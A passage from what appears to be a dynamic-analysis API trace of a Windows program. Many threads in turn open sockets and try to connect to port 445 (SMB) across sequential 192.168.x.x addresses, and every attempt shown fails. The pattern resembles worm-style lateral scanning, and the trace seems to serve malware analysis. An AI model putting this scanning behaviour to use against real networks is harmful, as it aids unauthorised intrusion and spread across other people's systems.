returned -1 [0119.772] closesocket (s=0xa54) returned 0 [0119.772] WSACleanup () returned 0 [0119.772] GetCurrentThreadId () returned 0x11a0 [0119.772] GetCurrentThreadId () returned 0x11a0 [0119.772] GetCurrentThreadId () returned 0x11a0 Thread: id = 562 os_tid = 0x11a4 [0098.498] GetCurrentThreadId () returned 0x11a4 [0098.498] GetCurrentThreadId () returned 0x11a4 [0098.498] GetCurrentThreadId () returned 0x11a4 [0098.498] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x889fdf0 | out: lpWSAData=0x889fdf0) returned 0 [0098.498] socket (af=2, type=1, protocol=0) returned 0xa84 [0098.498] inet_addr (cp="192.168.0.236") returned 0xec00a8c0 [0098.498] htons (hostshort=0x1bd) returned 0xbd01 [0098.498] connect (s=0xa84, name=0x889fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.236"), namelen=16) returned -1 [0119.773] closesocket (s=0xa84) returned 0 [0119.773] WSACleanup () returned 0 [0119.773] GetCurrentThreadId () returned 0x11a4 [0119.773] GetCurrentThreadId () returned 0x11a4 [0119.773] GetCurrentThreadId () returned 0x11a4 Thread: id = 563 os_tid = 0x11a8 [0098.499] GetCurrentThreadId () returned 0x11a8 [0098.499] GetCurrentThreadId () returned 0x11a8 [0098.499] GetCurrentThreadId () returned 0x11a8 [0098.499] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x89dfdf0 | out: lpWSAData=0x89dfdf0) returned 0 [0098.499] socket (af=2, type=1, protocol=0) returned 0xa48 [0098.499] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0098.499] htons (hostshort=0x1bd) returned 0xbd01 [0098.499] connect (s=0xa48, name=0x89dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0119.774] closesocket (s=0xa48) returned 0 [0119.774] WSACleanup () returned 0 [0119.774] GetCurrentThreadId () returned 0x11a8 [0119.774] GetCurrentThreadId () returned 0x11a8 [0119.774] GetCurrentThreadId () returned 0x11a8 Thread: id = 564 os_tid = 0x11ac [0099.018] GetCurrentThreadId () returned 0x11ac [0099.018] GetCurrentThreadId () returned 0x11ac [0099.018] GetCurrentThreadId () returned 0x11ac [0099.018] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8b1fdf0 | out: lpWSAData=0x8b1fdf0) returned 0 [0099.018] socket (af=2, type=1, protocol=0) returned 0xb18 [0099.019] inet_addr (cp="192.168.0.240") returned 0xf000a8c0 [0099.019] htons (hostshort=0x1bd) returned 0xbd01 [0099.019] connect (s=0xb18, name=0x8b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.240"), namelen=16) returned -1 [0120.172] closesocket (s=0xb18) returned 0 [0120.173] WSACleanup () returned 0 [0120.173] GetCurrentThreadId () returned 0x11ac [0120.173] GetCurrentThreadId () returned 0x11ac [0120.173] GetCurrentThreadId () returned 0x11ac Thread: id = 565 os_tid = 0x11b0 [0099.020] GetCurrentThreadId () returned 0x11b0 [0099.020] GetCurrentThreadId () returned 0x11b0 [0099.020] GetCurrentThreadId () returned 0x11b0 [0099.020] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8c5fdf0 | out: lpWSAData=0x8c5fdf0) returned 0 [0099.020] socket (af=2, type=1, protocol=0) returned 0xaec [0099.020] inet_addr (cp="192.168.0.249") returned 0xf900a8c0 [0099.020] htons (hostshort=0x1bd) returned 0xbd01 [0099.020] connect (s=0xaec, name=0x8c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16) returned -1 [0120.173] closesocket (s=0xaec) returned 0 [0120.174] WSACleanup () returned 0 [0120.174] GetCurrentThreadId () returned 0x11b0 [0120.174] GetCurrentThreadId () returned 0x11b0 [0120.174] GetCurrentThreadId () returned 0x11b0 Thread: id = 567 os_tid = 0x11b8 [0099.022] GetCurrentThreadId () returned 0x11b8 [0099.023] GetCurrentThreadId () returned 0x11b8 [0099.023] GetCurrentThreadId () returned 0x11b8 [0099.023] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8d9fdf0 | out: lpWSAData=0x8d9fdf0) returned 0 [0099.023] socket (af=2, type=1, protocol=0) returned 0xac4 [0099.023] inet_addr (cp="192.168.0.240") returned 0xf000a8c0 [0099.023] htons (hostshort=0x1bd) returned 0xbd01 [0099.023] connect (s=0xac4, name=0x8d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.240"), namelen=16) returned -1 [0120.174] closesocket (s=0xac4) returned 0 [0120.175] WSACleanup () returned 0 [0120.175] GetCurrentThreadId () returned 0x11b8 [0120.175] GetCurrentThreadId () returned 0x11b8 [0120.175] GetCurrentThreadId () returned 0x11b8 Thread: id = 568 os_tid = 0x11bc [0099.023] GetCurrentThreadId () returned 0x11bc [0099.023] GetCurrentThreadId () returned 0x11bc [0099.023] GetCurrentThreadId () returned 0x11bc [0099.023] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8edfdf0 | out: lpWSAData=0x8edfdf0) returned 0 [0099.023] socket (af=2, type=1, protocol=0) returned 0xab4 [0099.023] inet_addr (cp="192.168.0.249") returned 0xf900a8c0 [0099.023] htons (hostshort=0x1bd) returned 0xbd01 [0099.023] connect (s=0xab4, name=0x8edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16) returned -1 [0120.175] closesocket (s=0xab4) returned 0 [0120.176] WSACleanup () returned 0 [0120.176] GetCurrentThreadId () returned 0x11bc [0120.176] GetCurrentThreadId () returned 0x11bc [0120.176] GetCurrentThreadId () returned 0x11bc Thread: id = 572 os_tid = 0x11cc [0099.024] GetCurrentThreadId () returned 0x11cc [0099.024] GetCurrentThreadId () returned 0x11cc [0099.024] GetCurrentThreadId () returned 0x11cc [0099.024] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x901fdf0 | out: lpWSAData=0x901fdf0) returned 0 [0099.024] socket (af=2, type=1, protocol=0) returned 0x6a0 [0099.024] inet_addr (cp="192.168.0.240") returned 0xf000a8c0 [0099.024] htons (hostshort=0x1bd) returned 0xbd01 [0099.024] connect (s=0x6a0, name=0x901fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.240"), namelen=16) returned -1 [0120.176] closesocket (s=0x6a0) returned 0 [0120.176] WSACleanup () returned 0 [0120.176] GetCurrentThreadId () returned 0x11cc [0120.177] GetCurrentThreadId () returned 0x11cc [0120.177] GetCurrentThreadId () returned 0x11cc Thread: id = 573 os_tid = 0x11d0 [0099.024] GetCurrentThreadId () returned 0x11d0 [0099.024] GetCurrentThreadId () returned 0x11d0 [0099.024] GetCurrentThreadId () returned 0x11d0 [0099.024] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x915fdf0 | out: lpWSAData=0x915fdf0) returned 0 [0099.024] socket (af=2, type=1, protocol=0) returned 0x68c [0099.025] inet_addr (cp="192.168.0.249") returned 0xf900a8c0 [0099.025] htons (hostshort=0x1bd) returned 0xbd01 [0099.025] connect (s=0x68c, name=0x915fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16) returned -1 [0120.177] closesocket (s=0x68c) returned 0 [0120.177] WSACleanup () returned 0 [0120.177] GetCurrentThreadId () returned 0x11d0 [0120.177] GetCurrentThreadId () returned 0x11d0 [0120.177] GetCurrentThreadId () returned 0x11d0 Thread: id = 574 os_tid = 0x11d4 [0099.029] GetCurrentThreadId () returned 0x11d4 [0099.029] GetCurrentThreadId () returned 0x11d4 [0099.029] GetCurrentThreadId () returned 0x11d4 [0099.029] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x929fdf0 | out: lpWSAData=0x929fdf0) returned 0 [0099.029] socket (af=2, type=1, protocol=0) returned 0xb44 [0099.029] inet_addr (cp="192.168.0.240") returned 0xf000a8c0 [0099.029] htons (hostshort=0x1bd) returned 0xbd01 [0099.029] connect (s=0xb44, name=0x929fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.240"), namelen=16) returned -1 [0120.178] closesocket (s=0xb44) returned 0 [0120.178] WSACleanup () returned 0 [0120.178] GetCurrentThreadId () returned 0x11d4 [0120.178] GetCurrentThreadId () returned 0x11d4 [0120.178] GetCurrentThreadId () returned 0x11d4 Thread: id = 575 os_tid = 0x11d8 [0099.029] GetCurrentThreadId () returned 0x11d8 [0099.029] GetCurrentThreadId () returned 0x11d8 [0099.029] GetCurrentThreadId () returned 0x11d8 [0099.029] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x93dfdf0 | out: lpWSAData=0x93dfdf0) returned 0 [0099.029] socket (af=2, type=1, protocol=0) returned 0xb34 [0099.030] inet_addr (cp="192.168.0.249") returned 0xf900a8c0 [0099.030] htons (hostshort=0x1bd) returned 0xbd01 [0099.030] connect (s=0xb34, name=0x93dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16) returned -1 [0120.179] closesocket (s=0xb34) returned 0 [0120.179] WSACleanup () returned 0 [0120.179] GetCurrentThreadId () returned 0x11d8 [0120.179] GetCurrentThreadId () returned 0x11d8 [0120.179] GetCurrentThreadId () returned 0x11d8 Thread: id = 576 os_tid = 0x11e0 [0099.814] GetCurrentThreadId () returned 0x11e0 [0099.814] GetCurrentThreadId () returned 0x11e0 [0099.814] GetCurrentThreadId () returned 0x11e0 [0099.814] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x951fdf0 | out: lpWSAData=0x951fdf0) returned 0 [0099.814] socket (af=2, type=1, protocol=0) returned 0xc0c [0099.815] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0099.815] htons (hostshort=0x1bd) returned 0xbd01 [0099.815] connect (s=0xc0c, name=0x951fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0120.874] closesocket (s=0xc0c) returned 0 [0120.874] WSACleanup () returned 0 [0120.874] GetCurrentThreadId () returned 0x11e0 [0120.874] GetCurrentThreadId () returned 0x11e0 [0120.874] GetCurrentThreadId () returned 0x11e0 Thread: id = 577 os_tid = 0x11e4 [0099.818] GetCurrentThreadId () returned 0x11e4 [0099.818] GetCurrentThreadId () returned 0x11e4 [0099.818] GetCurrentThreadId () returned 0x11e4 [0099.818] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x965fdf0 | out: lpWSAData=0x965fdf0) returned 0 [0099.818] socket (af=2, type=1, protocol=0) returned 0xba8 [0099.818] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0099.818] htons (hostshort=0x1bd) returned 0xbd01 [0099.818] connect (s=0xba8, name=0x965fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0120.875] closesocket (s=0xba8) returned 0 [0120.875] WSACleanup () returned 0 [0120.875] GetCurrentThreadId () returned 0x11e4 [0120.875] GetCurrentThreadId () returned 0x11e4 [0120.875] GetCurrentThreadId () returned 0x11e4 Thread: id = 578 os_tid = 0x11e8 [0099.823] GetCurrentThreadId () returned 0x11e8 [0099.823] GetCurrentThreadId () returned 0x11e8 [0099.823] GetCurrentThreadId () returned 0x11e8 [0099.823] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x979fdf0 | out: lpWSAData=0x979fdf0) returned 0 [0099.823] socket (af=2, type=1, protocol=0) returned 0xbc0 [0099.823] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0099.823] htons (hostshort=0x1bd) returned 0xbd01 [0099.823] connect (s=0xbc0, name=0x979fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0120.876] closesocket (s=0xbc0) returned 0 [0120.876] WSACleanup () returned 0 [0120.876] GetCurrentThreadId () returned 0x11e8 [0120.876] GetCurrentThreadId () returned 0x11e8 [0120.876] GetCurrentThreadId () returned 0x11e8 Thread: id = 579 os_tid = 0x11ec [0099.823] GetCurrentThreadId () returned 0x11ec [0099.824] GetCurrentThreadId () returned 0x11ec [0099.824] GetCurrentThreadId () returned 0x11ec [0099.824] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x98dfdf0 | out: lpWSAData=0x98dfdf0) returned 0 [0099.824] socket (af=2, type=1, protocol=0) returned 0xbb4 [0099.824] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0099.824] htons (hostshort=0x1bd) returned 0xbd01 [0099.824] connect (s=0xbb4, name=0x98dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0120.877] closesocket (s=0xbb4) returned 0 [0120.877] WSACleanup () returned 0 [0120.877] GetCurrentThreadId () returned 0x11ec [0120.877] GetCurrentThreadId () returned 0x11ec [0120.877] GetCurrentThreadId () returned 0x11ec Thread: id = 580 os_tid = 0x11f0 [0099.827] GetCurrentThreadId () returned 0x11f0 [0099.827] GetCurrentThreadId () returned 0x11f0 [0099.827] GetCurrentThreadId () returned 0x11f0 [0099.827] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9a1fdf0 | out: lpWSAData=0x9a1fdf0) returned 0 [0099.827] socket (af=2, type=1, protocol=0) returned 0xbe0 [0099.827] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0099.827] htons (hostshort=0x1bd) returned 0xbd01 [0099.827] connect (s=0xbe0, name=0x9a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0120.878] closesocket (s=0xbe0) returned 0 [0120.878] WSACleanup () returned 0 [0120.878] GetCurrentThreadId () returned 0x11f0 [0120.878] GetCurrentThreadId () returned 0x11f0 [0120.878] GetCurrentThreadId () returned 0x11f0 Thread: id = 581 os_tid = 0x11f4 [0099.828] GetCurrentThreadId () returned 0x11f4 [0099.828] GetCurrentThreadId () returned 0x11f4 [0099.828] GetCurrentThreadId () returned 0x11f4 [0099.828] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9b5fdf0 | out: lpWSAData=0x9b5fdf0) returned 0 [0099.828] socket (af=2, type=1, protocol=0) returned 0xba4 [0099.828] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0099.828] htons (hostshort=0x1bd) returned 0xbd01 [0099.828] connect (s=0xba4, name=0x9b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0120.878] closesocket (s=0xba4) returned 0 [0120.879] WSACleanup () returned 0 [0120.879] GetCurrentThreadId () returned 0x11f4 [0120.879] GetCurrentThreadId () returned 0x11f4 [0120.879] GetCurrentThreadId () returned 0x11f4 Thread: id = 582 os_tid = 0x11f8 [0099.830] GetCurrentThreadId () returned 0x11f8 [0099.830] GetCurrentThreadId () returned 0x11f8 [0099.830] GetCurrentThreadId () returned 0x11f8 [0099.830] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9c9fdf0 | out: lpWSAData=0x9c9fdf0) returned 0 [0099.831] socket (af=2, type=1, protocol=0) returned 0xc24 [0099.831] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0099.831] htons (hostshort=0x1bd) returned 0xbd01 [0099.831] connect (s=0xc24, name=0x9c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0120.879] closesocket (s=0xc24) returned 0 [0120.880] WSACleanup () returned 0 [0120.880] GetCurrentThreadId () returned 0x11f8 [0120.880] GetCurrentThreadId () returned 0x11f8 [0120.880] GetCurrentThreadId () returned 0x11f8 Thread: id = 583 os_tid = 0x11fc [0099.831] GetCurrentThreadId () returned 0x11fc [0099.831] GetCurrentThreadId () returned 0x11fc [0099.831] GetCurrentThreadId () returned 0x11fc [0099.831] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9ddfdf0 | out: lpWSAData=0x9ddfdf0) returned 0 [0099.831] socket (af=2, type=1, protocol=0) returned 0xc18 [0099.831] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0099.831] htons (hostshort=0x1bd) returned 0xbd01 [0099.831] connect (s=0xc18, name=0x9ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0120.881] closesocket (s=0xc18) returned 0 [0120.881] WSACleanup () returned 0 [0120.881] GetCurrentThreadId () returned 0x11fc [0120.881] GetCurrentThreadId () returned 0x11fc [0120.881] GetCurrentThreadId () returned 0x11fc Thread: id = 584 os_tid = 0x1200 [0099.833] GetCurrentThreadId () returned 0x1200 [0099.833] GetCurrentThreadId () returned 0x1200 [0099.833] GetCurrentThreadId () returned 0x1200 [0099.833] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x9f1fdf0 | out: lpWSAData=0x9f1fdf0) returned 0 [0099.833] socket (af=2, type=1, protocol=0) returned 0xc54 [0099.833] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0099.833] htons (hostshort=0x1bd) returned 0xbd01 [0099.834] connect (s=0xc54, name=0x9f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0120.882] closesocket (s=0xc54) returned 0 [0120.882] WSACleanup () returned 0 [0120.882] GetCurrentThreadId () returned 0x1200 [0120.882] GetCurrentThreadId () returned 0x1200 [0120.882] GetCurrentThreadId () returned 0x1200 Thread: id = 585 os_tid = 0x1204 [0099.834] GetCurrentThreadId () returned 0x1204 [0099.834] GetCurrentThreadId () returned 0x1204 [0099.834] GetCurrentThreadId () returned 0x1204 [0099.834] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa05fdf0 | out: lpWSAData=0xa05fdf0) returned 0 [0099.834] socket (af=2, type=1, protocol=0) returned 0xc48 [0099.834] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0099.834] htons (hostshort=0x1bd) returned 0xbd01 [0099.834] connect (s=0xc48, name=0xa05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0120.883] closesocket (s=0xc48) returned 0 [0120.883] WSACleanup () returned 0 [0120.883] GetCurrentThreadId () returned 0x1204 [0120.883] GetCurrentThreadId () returned 0x1204 [0120.883] GetCurrentThreadId () returned 0x1204 Thread: id = 586 os_tid = 0x1208 [0099.893] GetCurrentThreadId () returned 0x1208 [0099.893] GetCurrentThreadId () returned 0x1208 [0099.893] GetCurrentThreadId () returned 0x1208 [0099.893] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa19fdf0 | out: lpWSAData=0xa19fdf0) returned 0 [0099.894] socket (af=2, type=1, protocol=0) returned 0xc8c [0099.894] inet_addr (cp="192.168.0.246") returned 0xf600a8c0 [0099.894] htons (hostshort=0x1bd) returned 0xbd01 [0099.894] connect (s=0xc8c, name=0xa19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.246"), namelen=16) returned -1 [0121.498] closesocket (s=0xc8c) returned 0 [0121.498] WSACleanup () returned 0 [0121.498] GetCurrentThreadId () returned 0x1208 [0121.498] GetCurrentThreadId () returned 0x1208 [0121.498] GetCurrentThreadId () returned 0x1208 Thread: id = 587 os_tid = 0x120c [0100.043] GetCurrentThreadId () returned 0x120c [0100.043] GetCurrentThreadId () returned 0x120c [0100.043] GetCurrentThreadId () returned 0x120c [0100.043] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2eefdf0 | out: lpWSAData=0x2eefdf0) returned 0 [0100.043] socket (af=2, type=1, protocol=0) returned 0x210 [0100.044] inet_addr (cp="192.168.0.247") returned 0xf700a8c0 [0100.044] htons (hostshort=0x1bd) returned 0xbd01 [0100.044] connect (s=0x210, name=0x2eefde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.247"), namelen=16) returned -1 [0121.499] closesocket (s=0x210) returned 0 [0121.499] WSACleanup () returned 0 [0121.499] GetCurrentThreadId () returned 0x120c [0121.499] GetCurrentThreadId () returned 0x120c [0121.499] GetCurrentThreadId () returned 0x120c Thread: id = 588 os_tid = 0x1210 [0100.144] GetCurrentThreadId () returned 0x1210 [0100.144] GetCurrentThreadId () returned 0x1210 [0100.144] GetCurrentThreadId () returned 0x1210 [0100.144] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa2dfdf0 | out: lpWSAData=0xa2dfdf0) returned 0 [0100.144] socket (af=2, type=1, protocol=0) returned 0xcb4 [0100.144] inet_addr (cp="192.168.0.248") returned 0xf800a8c0 [0100.144] htons (hostshort=0x1bd) returned 0xbd01 [0100.144] connect (s=0xcb4, name=0xa2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.248"), namelen=16) returned -1 [0121.500] closesocket (s=0xcb4) returned 0 [0121.500] WSACleanup () returned 0 [0121.500] GetCurrentThreadId () returned 0x1210 [0121.500] GetCurrentThreadId () returned 0x1210 [0121.500] GetCurrentThreadId () returned 0x1210 Thread: id = 589 os_tid = 0x1214 [0100.267] GetCurrentThreadId () returned 0x1214 [0100.267] GetCurrentThreadId () returned 0x1214 [0100.267] GetCurrentThreadId () returned 0x1214 [0100.267] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa41fdf0 | out: lpWSAData=0xa41fdf0) returned 0 [0100.267] socket (af=2, type=1, protocol=0) returned 0xca8 [0100.267] inet_addr (cp="192.168.0.249") returned 0xf900a8c0 [0100.267] htons (hostshort=0x1bd) returned 0xbd01 [0100.267] connect (s=0xca8, name=0xa41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16) returned -1 [0121.501] closesocket (s=0xca8) returned 0 [0121.501] WSACleanup () returned 0 [0121.501] GetCurrentThreadId () returned 0x1214 [0121.501] GetCurrentThreadId () returned 0x1214 [0121.501] GetCurrentThreadId () returned 0x1214 Thread: id = 590 os_tid = 0x1218 [0100.362] GetCurrentThreadId () returned 0x1218 [0100.362] GetCurrentThreadId () returned 0x1218 [0100.362] GetCurrentThreadId () returned 0x1218 [0100.362] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa55fdf0 | out: lpWSAData=0xa55fdf0) returned 0 [0100.362] socket (af=2, type=1, protocol=0) returned 0xc9c [0100.362] inet_addr (cp="192.168.0.250") returned 0xfa00a8c0 [0100.362] htons (hostshort=0x1bd) returned 0xbd01 [0100.362] connect (s=0xc9c, name=0xa55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.250"), namelen=16) returned -1 [0121.502] closesocket (s=0xc9c) returned 0 [0121.502] WSACleanup () returned 0 [0121.502] GetCurrentThreadId () returned 0x1218 [0121.502] GetCurrentThreadId () returned 0x1218 [0121.502] GetCurrentThreadId () returned 0x1218 Thread: id = 591 os_tid = 0x121c [0100.468] GetCurrentThreadId () returned 0x121c [0100.468] GetCurrentThreadId () returned 0x121c [0100.468] GetCurrentThreadId () returned 0x121c [0100.468] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa69fdf0 | out: lpWSAData=0xa69fdf0) returned 0 [0100.468] socket (af=2, type=1, protocol=0) returned 0xb74 [0100.469] inet_addr (cp="192.168.0.251") returned 0xfb00a8c0 [0100.469] htons (hostshort=0x1bd) returned 0xbd01 [0100.469] connect (s=0xb74, name=0xa69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.251"), namelen=16) returned -1 [0121.607] closesocket (s=0xb74) returned 0 [0121.608] WSACleanup () returned 0 [0121.608] GetCurrentThreadId () returned 0x121c [0121.608] GetCurrentThreadId () returned 0x121c [0121.608] GetCurrentThreadId () returned 0x121c Thread: id = 592 os_tid = 0x1220 [0100.565] GetCurrentThreadId () returned 0x1220 [0100.565] GetCurrentThreadId () returned 0x1220 [0100.565] GetCurrentThreadId () returned 0x1220 [0100.565] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa7dfdf0 | out: lpWSAData=0xa7dfdf0) returned 0 [0100.565] socket (af=2, type=1, protocol=0) returned 0xb88 [0100.565] inet_addr (cp="192.168.0.252") returned 0xfc00a8c0 [0100.565] htons (hostshort=0x1bd) returned 0xbd01 [0100.565] connect (s=0xb88, name=0xa7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.252"), namelen=16) returned -1 [0121.701] closesocket (s=0xb88) returned 0 [0121.701] WSACleanup () returned 0 [0121.701] GetCurrentThreadId () returned 0x1220 [0121.701] GetCurrentThreadId () returned 0x1220 [0121.701] GetCurrentThreadId () returned 0x1220 Thread: id = 593 os_tid = 0x122c [0100.677] GetCurrentThreadId () returned 0x122c [0100.677] GetCurrentThreadId () returned 0x122c [0100.677] GetCurrentThreadId () returned 0x122c [0100.677] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xa91fdf0 | out: lpWSAData=0xa91fdf0) returned 0 [0100.677] socket (af=2, type=1, protocol=0) returned 0xaf0 [0100.678] inet_addr (cp="192.168.0.253") returned 0xfd00a8c0 [0100.678] htons (hostshort=0x1bd) returned 0xbd01 [0100.678] connect (s=0xaf0, name=0xa91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.253"), namelen=16) returned -1 [0121.997] closesocket (s=0xaf0) returned 0 [0121.998] WSACleanup () returned 0 [0121.998] GetCurrentThreadId () returned 0x122c [0121.998] GetCurrentThreadId () returned 0x122c [0121.998] GetCurrentThreadId () returned 0x122c Thread: id = 594 os_tid = 0x1234 [0100.766] GetCurrentThreadId () returned 0x1234 [0100.766] GetCurrentThreadId () returned 0x1234 [0100.766] GetCurrentThreadId () returned 0x1234 [0100.766] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaa5fdf0 | out: lpWSAData=0xaa5fdf0) returned 0 [0100.766] socket (af=2, type=1, protocol=0) returned 0x690 [0100.766] inet_addr (cp="192.168.0.254") returned 0xfe00a8c0 [0100.766] htons (hostshort=0x1bd) returned 0xbd01 [0100.766] connect (s=0x690, name=0xaa5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16) returned -1 [0121.998] closesocket (s=0x690) returned 0 [0121.999] WSACleanup () returned 0 [0121.999] GetCurrentThreadId () returned 0x1234 [0121.999] GetCurrentThreadId () returned 0x1234 [0121.999] GetCurrentThreadId () returned 0x1234 Thread: id = 595 os_tid = 0x1238 [0100.951] GetCurrentThreadId () returned 0x1238 [0100.951] GetCurrentThreadId () returned 0x1238 [0100.951] GetCurrentThreadId () returned 0x1238 [0100.951] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xab9fdf0 | out: lpWSAData=0xab9fdf0) returned 0 [0100.951] socket (af=2, type=1, protocol=0) returned 0x688 [0100.951] inet_addr (cp="192.168.1.1") returned 0x101a8c0 [0100.952] htons (hostshort=0x1bd) returned 0xbd01 [0100.952] connect (s=0x688, name=0xab9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.1"), namelen=16) returned -1 [0122.107] closesocket (s=0x688) returned 0 [0122.107] WSACleanup () returned 0 [0122.107] GetCurrentThreadId () returned 0x1238 [0122.107] GetCurrentThreadId () returned 0x1238 [0122.107] GetCurrentThreadId () returned 0x1238 Thread: id = 596 os_tid = 0x1240 [0101.065] GetCurrentThreadId () returned 0x1240 [0101.065] GetCurrentThreadId () returned 0x1240 [0101.065] GetCurrentThreadId () returned 0x1240 [0101.066] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xacdfdf0 | out: lpWSAData=0xacdfdf0) returned 0 [0101.066] socket (af=2, type=1, protocol=0) returned 0xe1c [0101.066] inet_addr (cp="192.168.1.2") returned 0x201a8c0 [0101.066] htons (hostshort=0x1bd) returned 0xbd01 [0101.066] connect (s=0xe1c, name=0xacdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.2"), namelen=16) returned -1 [0122.200] closesocket (s=0xe1c) returned 0 [0122.201] WSACleanup () returned 0 [0122.201] GetCurrentThreadId () returned 0x1240 [0122.201] GetCurrentThreadId () returned 0x1240 [0122.201] GetCurrentThreadId () returned 0x1240 Thread: id = 597 os_tid = 0x1244 [0101.158] GetCurrentThreadId () returned 0x1244 [0101.158] GetCurrentThreadId () returned 0x1244 [0101.158] GetCurrentThreadId () returned 0x1244 [0101.158] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xae1fdf0 | out: lpWSAData=0xae1fdf0) returned 0 [0101.158] socket (af=2, type=1, protocol=0) returned 0xe3c [0101.158] inet_addr (cp="192.168.1.3") returned 0x301a8c0 [0101.158] htons (hostshort=0x1bd) returned 0xbd01 [0101.158] connect (s=0xe3c, name=0xae1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.3"), namelen=16) returned -1 [0122.201] closesocket (s=0xe3c) returned 0 [0122.202] WSACleanup () returned 0 [0122.202] GetCurrentThreadId () returned 0x1244 [0122.202] GetCurrentThreadId () returned 0x1244 [0122.202] GetCurrentThreadId () returned 0x1244 Thread: id = 598 os_tid = 0x1248 [0101.262] GetCurrentThreadId () returned 0x1248 [0101.262] GetCurrentThreadId () returned 0x1248 [0101.262] GetCurrentThreadId () returned 0x1248 [0101.262] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xaf5fdf0 | out: lpWSAData=0xaf5fdf0) returned 0 [0101.262] socket (af=2, type=1, protocol=0) returned 0xe08 [0101.262] inet_addr (cp="192.168.1.4") returned 0x401a8c0 [0101.262] htons (hostshort=0x1bd) returned 0xbd01 [0101.262] connect (s=0xe08, name=0xaf5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.4"), namelen=16) returned -1 [0122.415] closesocket (s=0xe08) returned 0 [0122.416] WSACleanup () returned 0 [0122.416] GetCurrentThreadId () returned 0x1248 [0122.416] GetCurrentThreadId () returned 0x1248 [0122.416] GetCurrentThreadId () returned 0x1248 Thread: id = 599 os_tid = 0x124c [0101.348] GetCurrentThreadId () returned 0x124c [0101.348] GetCurrentThreadId () returned 0x124c [0101.348] GetCurrentThreadId () returned 0x124c [0101.348] WSAStartup (in: 